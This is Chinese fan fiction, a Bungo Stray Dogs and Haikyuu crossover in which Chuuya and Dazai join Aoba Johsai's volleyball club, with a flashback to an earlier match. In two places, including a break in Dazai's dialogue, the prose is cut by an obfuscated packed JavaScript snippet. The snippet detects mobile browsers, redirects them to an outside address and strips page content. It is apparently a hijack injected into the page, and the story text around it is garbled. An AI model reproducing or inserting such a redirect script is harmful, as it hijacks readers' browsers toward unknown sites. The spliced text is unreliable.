瘦高的少年长着一张冷静严肃的脸,却有着不下于日向的对排球的热忱,而中原中也听他说到自己国中是北川第一时,心念一动,开口道:“那你认识影山吗?” 周围突然静默下来。 金田一勇太郎脸上的温度骤降,似乎是想到了什么不愿回忆的往事,别扭道:“认识,但不熟……在一个队待过吧。” “不过那家伙升学没来青城。”金田一露出一个不算真心的微笑,“至于到底去了哪……我也没关注过。” 8. 天虹 北川第一和青叶城西多有往来,金田一勇太郎国中时期就经常借青城的球馆训练,所以十分熟门熟路,但直到抵达排球馆为止,金田一勇太郎都像变成了个锯嘴葫芦一般沉默。 “去那里填表,然后应该就会开始测试了。”金田一离开之前说道,中原中也注意到不远处有穿着排球队队服的人在招呼他,料想应该是金田一认识的前辈,就点点头表示自己这边不用帮忙了。 金田一小跑远去,中原中也在负责填表的后勤部成员殷切的目光洗礼下,嘴里盘桓许久的“我只是来找人”还是没说出来,在太宰治“果然如此”的眼神中,硬着头皮填了一张表。后勤的殷切目光转向无所事事的太宰,太宰微笑着散发出渗人的阴暗气息,成功把对方劝退。 中原中也把填好的表交还,低声问太宰治:“我怎么感觉金田一和那个影山有过节?” “你以为影山为什么叫“王者”?这个外号可不是褒义,如果我没猜错的话,影山飞雄之前在国中的人缘应该差到极点了。”太宰治回答,“你该告诉橘子头,他想象中的王者和现实中完全不是一个样子。” 众叛亲离的王者吗? 中原中也皱起眉头:“影山没来青城,会不会去乌野?” “你怕他跟橘子头碰上吗?” “倒也不是……”但确实有种诡异的担心,总觉得他们凑在一起会发生不妙的化学反应。 “你对橘子头是不是过于上心了,训练芥川还没让中也过足当老师的瘾吗?” 中原中也头上冒出青筋,咬牙切齿:“那到底是谁留下的烂摊子啊!” 但中原中也还是觉得两个人碰上的可能性微乎其微,毕竟跨两座山跑去乌野上学的排球笨蛋应该不会有第二个了。眼看排球队这边人聚集得越来越多,居然五成都是女生,中原中也疑惑地探头,在攒动的人群中看见一个高挑的人影,长着眼熟的俊脸。 扭头看太宰治却是一副想死的表情,中原中也倍感惊奇:“我发现你对这个队长态度格外烂。” 太宰治不屑:“我又不认识他。” 让太宰治的喜恶写在脸上的人很少见,中原中也冷笑道:“是在我醒来之前认识的吧,别装了。” 太宰治狡辩:”中也难道没有那种看见第一眼就讨厌的人吗?讨厌又不需要理由!” “有啊,你。” 太宰治瞪圆眼睛,满脸写着控诉。中原中也觉得这是人尽皆知的事,不明白他有什么好委屈的,正当他想再嘲讽几句,话题中心人物,排球队的队长,就笑眯眯地拨开人群朝他们走了过来:“二位是来入社的吗?” 太宰治感觉及川彻的目光像刀子一样划过来,便仰起脸回敬一个不痛不痒的笑容,及川彻脸上的微笑险些挂不住,在心里暗骂没礼貌的小鬼,还是把眼神投向中原中也:“中原同学你好,我是及川彻,如果你还有印象的话,之前我们在仙台一起打过一场球赛。” 这下轮到中原中也一头雾水了,及川彻极其有耐心地继续提醒:“三年前,在仙台乡下打的沙地排球,当时我的同伴还加了你的联系方式。” 中原中也并不记得自己的通讯录里有类似这样的人物存在,在心底把动手脚的太宰治骂了几百遍,抬眼一看,肇事者太宰治正高高挂起地朝他做鬼脸。 这家伙果然还是去死好了,中原中也无力地想。 “抱歉及川学长,我今天真的不是来入社的,只是想来看看体育馆的环境。”中原中也道歉,“我本人对排球并不是很有兴趣。” 及川彻面露失望:“哎,可是金田一说你们对排球很感兴趣。” 现在中原中也的死亡名单上又添了一个金田一勇太郎,但他面上依旧维持着良好的教养:“可能我们说了什么让他有些误会……” 而及川彻不愧是八面玲珑的主将,发言相当有二十年后给下属勾勒美好蓝图的资本家风范。 “想参观体育馆的话,来打场排球不是更好的选择吗?”他转头招呼来几个同样等待测试的高一新生,朝中原中也挤挤眼睛,“中原同学毕竟填了报名表,还是走个过场比较好。” 中原中也叹了口气,这下完全没有拒绝的理由。在其他队员们去清场的空档,中原中也被迫被塞到了一群高个子中间,和几个新生大眼瞪小眼。 “你们好。”即使高度相距甚远,中原中也还是气定神闲地打招呼。 新生们都很拘谨,左看看右看看,仿佛一群警惕的猫鼬。最后是一个平头少年主动站出来道:“大家都会打球吧?” 见众人点头,少年笑着说:“我是良谷和平,国中是清溪的,既然入队的测试是训练赛,那我们就尽量配合一下——大家打什么位置?有二传吗?” 一只手犹犹豫豫地举起来:“我会,但只能传定点球。” 排球中的二传手和自由人一样是稀缺型人才,良谷本来没指望这里有人能会二传,都打算自己上了,现在有人自告奋勇他当然求之不得:“没关系,大家一起配合你。” 没多久,就又选出了一个主攻和两个副攻,碍于重合的位置太多,其余都跑接应位,本来就是仓促组建的队伍,良谷要求不高,但现在只剩下一个自由人始终没有人担任,他就把目光投向身高最矮的中原中也。 中原中也从他的眼神中读出了期盼,很想开口告诉对方自己其实是攻手,但思及自己只是来走个过场,心软又占据了上风:“那就我来自由人。” “麻烦了。” 似乎是察觉出自己勉强了对方,良谷露出一个抱歉的笑容,把这群临时队员集合起来,来引导他们的是一个叫矢巾的学长,踏上场地,球馆已经清空,只剩下网这边的新生和网那边的青城二队队员,总共十四个人,外加围在旁边的教练组和前辈们。 那个胆小的二传手被这副阵仗吓了一跳:“这、这么正式吗?” “青城可是仅次于白鸟泽的强校,我们以后有可能要去打全国赛的。”队伍里一个高大的光头少年对二传嗤之以鼻,“这就害怕了的话,趁早退出吧。” “喂,你别瞧不起人了,他走了你来打二传?” 光头无赖地耸耸肩:“抱歉啊,我从小到大都是攻手。” 良谷见势不妙,赶紧出来调和矛盾,温言细语地将两人劝下。中原中也看着心累,扭头去找场边的太宰治,却发现对方和及川彻居然凑到一起讲话了。 你不是跟他合不来吗?中原中也无语。 入队测试开始,最简单的bo1定胜负,15分制。中原中也没当过自由人,他只知道这个位置就是在后排擦地板的,所以心安理得地不参与进攻。但毕竟没系统学过,鱼跃的姿势可以说是完全不标准,完全靠过人的反应和速度把球挑起来,而良谷虽说看见了他这副全然门外汉的表现,却依旧夸了几次好一传。 但光头的眼睛揉不进沙子,盯着中原中也的眼神越来越凶恶。最后是二队王牌一个大力跳发,中原中也注视着朝底线飞去的排球,身体的本能比大脑先行一步,最后由鞋尖触球,划出一道抛物线,把球送到二传手里。二传还没反应过来,后勤同学就举手:“持球一次!” 新生对青城排球二队,2比10。 “你会不会打球?”光头朝中原中也吼道,“听得懂日语吗?” “是他没传出去吧?”中原中也飞来横锅,他本来就看不惯这些仗着体型优势盛气凌人的小鬼,此时再好的耐性也被磨没了,漂亮的眉毛挑起来,“与其怪后排防守,不如看看自己下了几颗球,ace。” “切。”光头啐了一口。 后勤吹哨,比赛继续。但这个小插曲自然逃不过围观者的眼睛,太宰治鸢色的瞳孔倒映出飞扬的红色身影,细细地笑出声,及川彻扭头瞅他,忍着不耐低声问:“你到底是什么意思?” “你也看见了,中也的脾气很差的。” “我喜欢有个性的攻手。”及川彻的眼睛里是毋庸置疑的自信,“挖掘出这种攻手的潜能,才能说明二传的能力。” “那你最喜欢的应该是那个光头才对。” “我一直在想我什么时候得罪过你,你非要这么跟我呛吗,太宰同学?”及川彻都无奈了。 太宰治摆摆手:“我的想法不重要哦不重要,重要的是青城非常需要这个冠军,还有中也确实只有我才能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536191|203819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说服这两点才对。” “你对自己未免也太自信了,我知道你跟中原同学是很好的朋友,但没有谁能说服谁这么绝对的事情。” 两人之间的火药味马上就能引爆青城排球馆,岩泉一在后面听得想把及川彻毒哑,忍无可忍地上前宣布:“我去说。” “你去?” 两人一起回头,矮的那个表情很戏谑,仿佛岩泉一开了个天下第一好笑的玩笑,高的那个表情像吃了苍蝇一般:“小岩……” “太宰同学,我不理解你为什么如此不愿意中原同学和我们接触,你应该能看出来中原同学并没有他嘴上说的那样不喜欢排球。” “那又怎么样呢?你觉得你能说服中也?”太宰治好笑地道。 岩泉一摇头:“我只会向他转达我们的诚意,至于他来不来球队……我们都不会勉强。” 此时球场上的状况仍旧一边倒,二队的放水业务显然不过关,几球砸下去就把新生的队形砸了个七零八落。沟口贞幸拿着一沓资料站在场外,把几个人的脸对了一下,哨声吹响,这次训练赛不出意料的由青城胜出,二队挠着脑袋嘻嘻哈哈地下场,新生队伍这边却气氛沉重。光头拿起布擦汗,狠狠瞪中原中也一眼,中原中也不甘示弱地露出嘲讽的笑容,比出一个“0”的手势。 光头这局下球率是0。 那个胆小的二传看懂了,没绷住笑,光头顿时涨红了脸,这次却没有底气发飙。良谷见状松了口气,心里很意外中原中也的脾性,毕竟对方什么都没说就接了自由人的活,他还以为中原中也是老好人的类型。 此时教练组那里也已经有了基本的共识,沟口贞幸对监督入畑伸照小声道:“有必要第一批就确定这么多人吗?三点后还有其他新生来报名的。” 入畑伸照长得很温和,上了年纪微胖的身体更添几分亲切:“他们来的最早,是最急迫的那一批,也就是青城最需要的人。” 这话不无道理,沟口贞幸低头勾上几个名字,确认了一下,就走到他们跟前,清清嗓子,开始对着手上的名单宣布。 “土屋吉一。” 光头一愣,似乎没料到还会有自己的名字出现,手在毛巾上局促地擦了几下,站起来答是。 沟口偏头:“去签名,恭喜入队。” 狂喜在土屋的脸上绽放开来,初见时的傲气重新回到少年的脖颈,朝中原中也挑衅地抬抬下巴,就去旁边签名了。 “真会变脸。”二传嘀咕。 良谷也觉得土屋情绪调整得实在迅速,还没等他多想什么,就听到了自己的名字,急忙起身鞠躬,沟口朝他友善地点头,继续道:“海川隼斗,山下炎一郎。” 身边的人陆陆续续地起身离开,没被叫到名字的只剩下中原中也和那个二传,二传一脸果然如此的表情,对中原中也小声安慰:“没事的同学,他们那几个一看就是从小打球打到大的,我们这种半路出家根本比不了……而且身高也是一回事嘛。” 对方和自己的确是差不多的海拔,不过中原中也倒不是很在意自己能不能选上,无可无不可地点头。 但沟口贞幸的目光还是偏了过来。 “中原中也。”他合上文件夹,“第一批的名单就是这些,没有入选的同学,可以考虑一下青城的后勤部门,加分是同样的。” 原本瞪着中原中也觉得自己惨遭背叛的二传听到加分就释怀了,拍拍屁股也站起来去找后勤组报名。 中原中也坐在地上笑出声,觉得这家伙还挺有意思,可惜不知道对方的名字,刚想起身找教练说明自己的情况,一个面容刚毅英朗的少年就走到他跟前:“同学,能和你聊聊吗?” 立刻感觉到某只黑泥精的目光像射线一般把自己扎个对穿,中原中也回头对太宰治使眼色让他别乱来,然后才开口回应:“你是?” “岩泉一,青城排球队副将,中原同学你应该认识我才对,三年前我们交换过联系方式。”岩泉一拿出手机调通讯录出来,中原中也看见自己的电话号码赫然在列,岩泉一给他的备注是“中原”。 “那时候你给过我一个诺言,不知道你还记不记得?” 9. 闪回 七月的仙台和闷热的火炉没有差别,因此中也从祖母家里出来时只穿了一件白体恤,然后不出所料地被蚊子盯上,光洁白皙的手臂肿起两个包。他无奈地回头找太宰治要驱蚊水,才发现太宰早已有所防备地穿了长袖衬衫,抱怨道:“你怎么不提醒我?” 对这个世界中也任性程度很了解的太宰治不和他争辩,从口袋里拿出驱蚊水,帮中也仔细地在手臂上抹开。 清凉的感觉从一点蔓延到全身,中也眉宇间的那点不耐终于烟消云散,朝太宰治露出一个堪称甜美的笑容:”治哥,我们去游泳吧?” 听到这个称呼,太宰治的眼皮跳了跳:“这里没有泳池。” “但是有溪流和山泉。” “你是笨蛋吗?”太宰治深吸一口气,“水源旁边只会有更多虫子,你也不想被叮成癞蛤蟆吧?” 中也没有得到想要的答案,却也没办法反驳这个理由,不高兴地嘟囔一句:“太宰治讨厌鬼。” “明明是出来帮祖母买东西的,突然想去游泳的中也才讨厌。” 两人往村里的集市走去,正好是晚饭时间,买菜的人很多,中也本来就怕热,人一多更不想去了,站在道旁的树荫下就打起哈欠,满脸写着想偷懒。 看见中也如此一副不讲道理的样子,太宰治第无数次怀念起双黑时期会边骂自己边帮忙写报告的中原中也,他露出一个危险的微笑:“中也总不能一点力都不出吧?” “没有啊,我去给你买水。”中也无辜地指指不远处的乡镇学校门口的小卖部。 如今的中也初俱混世魔王雏形,太宰治想不通这个世界的美津纪是怎么惯出如此性格的孩子。 拜托了,啰啰嗦嗦管天管地的老妈子中原中也快点到来吧。 而面对调皮的小鬼,成年人太宰治的方法是放养,他如中也所愿地一个人进了集市。太宰治的身影刚从人群中消失,中也就迫不及待地在四周乱转起来,随后,那双漂亮的蓝眼睛好像看到了好玩的东西一般亮了:“小林!” 祖母家邻居的长子小林上彦正抱着一颗蓝黄相间的破旧排球,和一群少年挤挤挨挨,似乎倍感为难的模样,听见有人喊自己的名字,他回头张望,锁定中也的一瞬间好像看见了救星。 “中原你快来!”他高声招呼。 中也流畅地混进孩子堆里,这才发现不远处有两个长得很高的人正百无聊赖地盯着他们,看外貌像是高中生,不禁皱皱眉头:“那两个人是谁?” “城里的高中生,他们打球特——别厉害,“咻”一下又“啪”一下,就把我们打散了。”小林描述的很夸张,中也有些怀疑:“既然是这么厉害的高中生,怎么会找我们打球?” “是小林!”有孩子指控,“他说自己排球特别厉害,打哪个位置都不在话下,刚好被那两个人听见,结果还没打完一场比赛就不敢继续了——好丢脸!” “是啊是啊。” “小林就喜欢吹牛!” 见同伴开始围攻自己,小林脸涨得通红:“喂!你们也没好到哪去吧!被对面那个偏分头发球发得脚都挪不动!” 这边孩子们在互相争执,中也的眼神却飘到那两个高中生身上,偏分头虽然长得好看,但看上去很无赖,刺猬头站姿就很正直,应该比较适合谈判。 “中原,我们还是别招惹他们,他们真的挺强的。”小林嗫嚅着道,“我被骂就被骂吧,再继续打下去更丢脸了。” 中也却拍拍他的肩:“没事,我帮你找场子。” “欸?”小林呆住,“我知道中原你体育很好,但……包括排球吗?你不是就和我一起上了几节课吗?” “当然不包括。”中也理直气壮,“所以我们可以比简单的——那两个高中生比我们大这么多,居然好意思打正赛?丢脸的是他们吧?” 说完中也就在小林震撼的目光下大步走到刺猬头面前,仰起头看他。刺猬头看上去很震惊,但态度温和,微微俯下身子说道:“怎么了?啊,我先替我的同伴向你们道歉,我们是专业练习排球的学生,确实太胜之不武——垃圾川你赶紧给我道歉!” “切,是他们自己放的大话,我为什么要道歉?” 刺猬头怒道:“你个准高中生和国中生计较很有意思是吗?” 偏分头还要不服气地说什么,中也却缓缓开口:“前辈,我们还想再比一场。” “嗯?”刺猬头愣了愣,偏分头闻言大笑出声,好像很开心一般蹲下来打量中也:“这样才对嘛,打球怎么能半途而废呢?说吧,比什么?及川大人一定奉陪。” “听说你的发球很厉害,那就我来接你的发球,反之,你也要接我的发球。”中也道,“你们也说了,这样胜之不武,那就不定胜负。” 偏分头和刺猬头对视一眼,刺猬头表情有些难以言喻,叹了口气:“不,这家伙的发球……你接到一个就算赢吧。” “一言为定。” 两方在沙地两侧站开,小林一副吐魂的表情,对中也比了个颤颤巍巍的大拇指,身后一众稀稀拉拉的应援团队,还有喝倒彩的,中也却半点不受干扰。双腿在沙地上踩稳,向上蹦跳两下,把身体活动开,然后搓搓手。手心发热出汗的感觉并不好,中也讨厌出汗,所以他喜欢游泳,但此刻,炎热、汗意、与身后身前的质疑声让他战意高涨。 “来吧!” 离得距离有些远,他看不清偏分头的表情,只见偏分头熟稔地把排球在指尖旋转几圈,对他道:“小鬼,我不会放水哦。” “我也不会。” “啧,真是讨厌的自信。”偏分头撇撇嘴,“那你就瞧好吧!” 排球是一项球不能落地的运动,中也对排球的了解都来自于这一句话,他知道小林在学校的排球队,偶尔回祖母家时也会和他一起练习。其实中也挺喜欢排球的,因为这个运动很单纯,球升起,然后落下,无数的斗争和汗水交织成网,让球在网上一次次触底又反弹。 “小林,他真能接到那个人的球吗?”有少年开口问道,“他的胳膊好细,会被球压断吧……” 听到这话,小林的表情更惶恐了,少年察觉不对,惊慌地去摇他:“喂!小林!你不要死啊!” 死不了的。中也在心里道。 球像炮弹一般砸来,几乎能听见撕开空气的声音,对面的少年好似拉满的弓弦,箭矢毫不避讳地朝中也射出,却没有朝向他的面门——显然对方并不想他受伤。 感受到球带起的厉风席卷而来,中也横跨一步,并紧的手臂在外人看来如同脆弱的纸,被球的残劲一戳就会裂开。但那双干净洁白的上肢却出乎所有人意料,它们利落地兜住了球上的旋转和力量,扮演起合格的捕网。 “好一传。”刺猬头看在眼里,不禁开口道。 球无人理会地掉落在地,中也深吸一口气,平复过速的心跳。身后涌起一阵欢呼,中也无语地回头,就看见正在假装擦眼泪的小林上彦。 “喂……戏演过了吧……” “我刚才都在想如果你被球砸 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排球狠狠砸向偏分头,中也完全没有收力,对面也不需要他收力,偏分头的眼神像鹰隼一样敏锐,长而有力的四肢如同蛛丝包裹猎物,熟练地卸力、沉臂,球被完美地垫向高空。 但刺猬头注意到了同伴那扭曲了一瞬间的表情,心下有些骇然。 偏分头在对面深吸一口气,将地上的排球捡起,大步流星地走过来:“你之后还有没有空?” “啊?” 中也愣了愣:“抱歉,我不常住这里,我明天就要回城里了。” 偏分头还想说什么,被刺猬头拦下,刺猬头将手机递过来:“可以留下你的联系方式吗?” “可以是可以,但你们联系我做什么?”中也将电话号码输入上去,把手机还给刺猬头。 “如果你愿意的话,高中可以来青城,青叶城西。”刺猬头的笑容温和且真诚,“还不知道你的名字,就叫你中原同学吧,刚刚听见他们这么叫你——是这几个字没错?” 中也低头看他输入的假名,点点头。 “我叫岩泉一,这家伙是及川彻,你可能不知道你能接住他的发球是什么概念,他可是全中第一发球手。” “全中第一……” 红发少年眼神中的胜负欲燃起了一瞬,又跌落回去:“但排球太热了,果然还是游泳更舒服。” 看着对方精巧鼻子上渗出的细汗,岩泉一觉得这个孩子有些许的可爱,附身拍拍他的肩:“没有要让你和他比的意思,我只是觉得,你有可能会喜欢上排球。” “我确实不讨厌。”中也道,“如果我高中去青城,我会去排球队试试的,不过到时你们还在那里吗?” “当然。” 及川彻总算有机会插话,他战意未消地凑近少年的脸:“希望之后你还能接住我的发球。” 中也被他挑起斗志,刚要回敬一个挑衅的眼神,身子却被一只冰凉的手往后拽去,他打了个寒颤,意识到自己好像忘了什么事。 “不是去给我买水?”太宰治冷冷地道。 岩泉一友好地朝太宰治微笑,却发现太宰治的目光定定地看着及川彻,没等他细想一个小孩子的眼神为什么会如此尖锐,手里的手机恰到好处地响起来,低头和母亲说了几句,就把及川彻拉上准备离开。 离开前岩泉一还和中也挥手告别:“记得看消息。” 此时的中也还不知道自己的手机信息将被竹马地毯式清剿,对着岩泉一重重地点了点头。 10. 聚焦 中也和太宰治走在回去的路上,因为心虚,中也主动提出要帮忙拎东西,却被太宰治幽幽的目光驱赶了回去:“治哥……” “手臂肿成这样,待会怎么跟你祖母解释?”太宰治嘲弄地道,“真是没有自知之明啊,和高中生较劲,中也不觉得自己蠢爆了吗?” “额……” 这确实是个问题,因为父亲的意外身亡,祖母不太喜欢他做体育相关的事情,若非美津纪执意让中也自己选择喜欢的爱好,可能连游泳都没办法继续坚持。 但两个人身上都没带多余的衣服可以遮掩,太宰治也半点没有要帮忙的意思,祖母最后当然是把中也狠狠骂了一顿,然后开始输出这两年在耳边反复被提起的身体健康和安全问题。 其实这次中也和太宰回乡下,就是因为上周是中原咲斗他们的祭日,而今天由于中也肿起的手臂,祖母生气地让他去咲斗跟前认错。此时和太宰治一起站在父亲的墓前,中也心里略有不服:“老爸明明也是因为这样才……” 如果咲斗还活着,应该会笑着赏中也一个脑瓜崩,告诉他大人是大人,小孩是小孩。大人和小孩的区别是大人能为自己的行为带来的后果负责,而孩子们往往只看见眼前的事情。 从中原咲斗接触这项运动的那天开始,他绚烂而短暂的一生就像注定了一般,美津纪从来没有责怪过他,因为对方已经做了一切他该做的,从物质到精神。 太宰治站在一旁,津岛清一的墓碑就在咲斗的旁边,两人印着如出一辙的死亡日期。他对没什么感情的监护人不做评价,只不过对方神似森鸥外的脸还是让他有些不适,眼神匆匆略过那张黑白照片上的男人,最后定格在中也身上。 “Clémence,Il l''aimaitme hier.” 他对她爱意如昨。 墓志铭上镌刻着一句法语,中也知道这是父亲对母亲说的情话。太宰治低声念了一遍,对方的声音是变声期的低沉沙哑,并不难听,中也听懂了,略有些不自在地搓搓耳朵:“老爸真肉麻。” “所以我说祖母让你来这里反思完全是多此一举,因为最该反省的人已经躺在里面了。” “喂,他好歹是我爸。”中也鼻尖有点酸涩,“走吧,我以后会小心的。” 两人把花放下就离开了,可刚走到公共墓地的门口,中也就看见一个红色的身影,美津纪哼着一首法语民歌,手里是冶艳的玫瑰,整个人像燃烧的烈火,灼眼得热情放肆。 对方并没有看到他们,中也不想打扰父母叙话,便停下脚步,等到美津纪彻底走远,红发和咲斗的墓碑依偎在一起,这才拉拉太宰治的衣角:“走吗?” “嗯。” 太宰治冷淡的眼睛映出夕阳的颜色,阴暗的面容少见地变得柔和,中也知道这是对方消气了的象征,也提起嘴角笑出声。 “治哥,我知道你经常想着要自杀。”中也小声坦白,“如果真的有这么一天,可以先和我说吗?” 太宰治的瞳孔缩紧了一瞬间,面前人仿佛换了一个模样一般,变得成熟、冷静。太宰治不喜欢这样的中也,他不禁想,中也在那个世界听见自己死讯的时候,应该会暴跳如雷吧。 “好,我第一个告诉你。” 及川彻目瞪口呆地看着中原中也去教练那里签名,岩泉一头顶圣光凯旋而归,被及川彻扒住肩膀:“你跟他说什么了?” 太宰治的脸色黑得像锅底,他已经基本猜到了岩泉一会和中原中也说什么,能让中原中也动摇的事情很少,契约算是一个。 啊啊,果然是软体动物吗,做什么都心软得让人恶心。 岩泉一其实也不太明白为什么自己这么轻易就说动中原中也了,开始怀疑是之前误判了对方的性格,难道中原中也其实是很好说话的类型? 但再一看浑身冒黑气的太宰治,岩泉一和及川彻扬眉吐气——管他呢,总算让这家伙吃了一次瘪。 “不过中原也只是打算来试试,他好像对自己不太抱希望,我跟他说身高不是问题,他现在还在发育期呢。”岩泉一道。 及川彻点点头,得意洋洋地看向太宰:“怎么样?小岩出马效果立竿见影啊!——嘶,你这家伙笑什么呢?” “噗。”太宰治听见“发育期”三个字,一下子没绷住,幸灾乐祸地摆摆手,“不,你说得对。” “他绝对在憋着一肚子坏水。”及川彻低声和岩泉一说道,岩泉一很少站在及川彻这边,但此时他看着太宰治洋溢的虚假笑容,认可了及川彻的说法:“我也觉得。” “喂,太宰。” 中原中也在不远处注意这三个人很久了,他一签完名就想过来,教练组却把他团团围住。沟口贞幸拉着他问了很多问题,对方惊喜于他的运动天赋,中原中也便耐着性子回答,最后那个名为入畑伸照的监督就笑眯眯地让他明天部活记得来做测试。 “其实及川和岩泉有和我们提过你,他们对你的反应和力量赞不绝口,当时我还想象不出来能让这两个孩子刮目相看的人,今天见面,确实出乎意料。”入畑循循善诱,“能告诉我为什么不继续游泳了吗?” 中原中也对这个慈眉善目的监督没有什么恶感,但他其实也不清楚这个世界的中也为什么会答应岩泉一高中来青城打排球,不过既然打球是“自己”所希望的,那中原中也就替他践行。 中原中也思考了一会儿答道:“因为感觉排球更有挑战。” “不错的回答。”沟口笑道,“总之,青叶城西排球部欢迎你的加入,顺便把衣服的尺码写在这吧,这周会给新生定制队服,我们学校的队服很好看哦。” 这倒是真的,青白色的队服,在其他学校一众五颜六色花里胡哨的队服里格外清新脱俗。中原中也鞠躬道谢离开,总算能把太宰治从人群中揪出来:“你又在计划什么不好的事了吧?” “中也怎么一回来就冤枉我!” “你那个表情一看就是啊。”中原中也皱眉道,“喂,话说那你要怎么办,球队肯定每天都要训练的,我们又不能分开太久,你要不跟过来?” “所以中也在答应事情的时候根本没有考虑过我的自由会受限制吗!” 中原中也心虚地咳嗽一声:“反正你干什么都觉得无聊。” 太宰治气成了一只河豚,他阴恻恻地小声道:“我当然可以跟过来,至于跟过来之后我会做什么,取决于中也的态度哦!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536193|203819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我在硬盘里存了很多中也的丑照呢,印成画集怎么样?球队人手一本,想想就很壮观……” “可恶!我就知道你还存在别的地方!” “哈哈哈哈,如何?回去乖乖地给我煮荞麦面!中也还记得你是我的狗狗吧?我要蟹黄酱的哦。” “混蛋太宰——” “哎哎哎别打架,松手松手。”矢巾秀在不远处看到这里战斗一触即发,急急忙忙地过来把两人分开。 沟口贞幸往这里瞥了一眼:“不是关系很好吗?怎么打起来了?” “小孩子嘛。”入畑伸照依旧笑呵呵。 总之最后中原中也还是拉着太宰治去报名了后勤组,太宰治不情不愿地签好名字,在后勤组成员难以言喻的目光下跟中原中也谈判:“以后我的后勤工作就让中也替我干吧!” “……行。” 为了不被这个幼稚鬼继续要挟,中原中也忍辱负重地点头,对后勤组同学道,“之后他要负责什么你告诉我就可以了。” 后勤组:“……真的没关系吗?中原同学?” 你要是被霸凌了就眨眨眼啊! “反正中也体力很好,训练之后干点活也不是难事。”太宰治得偿所愿地眯起眼睛,“我就不一样啦,我很柔弱的。” “别玷污柔弱这个词。” 两人拌着嘴离开了排球馆,岩泉一和及川彻在后面旁观许久,及川彻摸着下巴思考了一会儿:“中原同学能忍到现在脾气相当不错,换做是我的竹马是这种混蛋,我估计当场上吊自尽重新投胎了。” 岩泉一冷哼一声:“我觉得我脾气也挺好的。” “……小岩,虽然我偶尔会惹你生气,但我还是比那家伙好点的吧?” “……” “小岩?” “别吵我。”岩泉一头疼地道,“我一想到以后部活要同时处理你和太宰,感觉一下子老了十岁——话说他俩是不是太黏了点,中原为什么一定要太宰一起参加部活?” “竹马的事情你少管。”及川彻被岩泉一的态度气了个仰倒,不满地偏过头嘟囔,“我也能稍微理解他一点啦,太宰那个家伙一看就很不合群,让他一个人乱跑被霸凌了怎么办?” “垃圾川,你在指桑骂槐什么?” “禁止对号入座!” 等到第二天的部活时间,中原中也遵守约定提前来把太宰治的活干了,搬完最后一桶水,中原中也找后勤组长签了个到——当然签的是太宰治的到。 而正主此时正倒在球馆角落昏昏欲睡,黑泥精被一整天学校教育的知识暴晒成一摊熔化的史莱姆,中原中也干完活只觉得刚热身,站在太宰治面前嘲讽道:“别告诉我你什么都没干就累了。” 太宰治不理他,只是把校服盖在头上换一边继续睡,留下冷漠的背影给中原中也。 “我去集合了,训练完再来这找你。”中原中也也不需要他回应,通知他一声就转身走了。只见这坨校服蠕动几下,马上又归于平静。 “哔——” 尖锐的哨声,凌乱且匆忙的脚步,及川彻看着面前挺拔的十几号人,满意地勾起嘴角,举手看齐。 “部活开始!” 11. 测试 新生第一次参与的部活很简单,就是体测,教练组会统计每个人的数据,以便制定之后的训练计划,当然最重要的是—— “这会作为一年级有没有可能当上正选的依据吧。”良谷和平道,一年级的众人被点醒,立刻感觉浑身都有了力气。 青城一共有两个队伍,一队是首发队,基本由二三年级构成,二队是替补队,大部分也是从没进入一队的二三年级中挑选,几乎所有的高中排球队都采取的是这种遴选方法。因此,不可避免的,一年级总要先坐上一年板凳,直到前辈毕业,才有机会拿到相应的背号,这是约定俗成的传承。 但总有一年级是很有天赋的,或许是家里从小培养,又或许在某个方面极其突出,使教练组认为应该尽早放上赛场打磨,比如此时正在和一队一起训练的金田一勇太郎和那个一脸懒散的国见英,又比如……良谷把目光投向刚结束摸高测试的中原中也。 341cm。 “他的身高不是只有160吗?”摸高比中原中也低了10cm的海川隼斗不敢相信这个数据,“拜托,我比他高了快20厘米,居然跳的没他高?“ 土屋吉一在一旁不吱声,只是面色有些凝重。良谷见一众一年级都压力倍增的样子,失笑道:“这个摸高,果然他是攻手啊。” 当时训练赛请他打自由人还是屈才了,而且良谷很快发现,中原中也的力量也极其不合常理。 “砰!” 漂亮的混血少年在空中停滞一瞬,手掌包圆,对着球狠狠地击打下去,球在重压下被碾进对面接球的二队自由人的手臂,球被接飞,中原中也平稳落地,对自由人说了声抱歉。 沟口贞幸眼中闪过一丝满意,低头记下几个字,手指隔空点点自由人的脑袋:“你得加练。” “是。”自由人蔫了。 “力量很足,可以再加点旋转。”入畑伸照笑道,“我很好奇他的肌肉密度,这样的身高体重却不轻,都长成肌肉了吧?” “挺罕见的情况,照理来说,十几岁的年纪,肌肉还处在发育状态中,是不会有这么强的爆发力的。”沟口贞幸挠挠头,“所以如果是这样的话,他想再长高就有点……” 入畑伸照默然,最后叹息:“我们也不能既要又要——体能怎么样?” 沟口贞幸扬起嘴角,把测试结果递给他:“您自己看吧。” 入畑伸照奇怪地看了他一眼,把单子接过来,熟练地找到需要的数据:“最大摄氧量……78?!” “很惊人对吧?我带他去篮球队那边拿机器测出来这个数据的时候,那个教练下巴都快掉地上了。” 正常男性这个年纪的摄氧量优秀的也就在60-65左右,再往上就是很恐怖的范畴了。沟口贞幸继续补充:“可能跟他练过游泳有关系,国中就拿过自由泳国奖,含金量非常高。” “……及川他们可真是给我们挖了个宝藏过来。” “就算他一直都只有160cm我也认了,身高也可以是障眼法嘛。” 入畑伸照点头,稍稍开了个玩笑:“当然,我又不是鹫匠那个固执的家伙,天资只是开始,不是限制。” 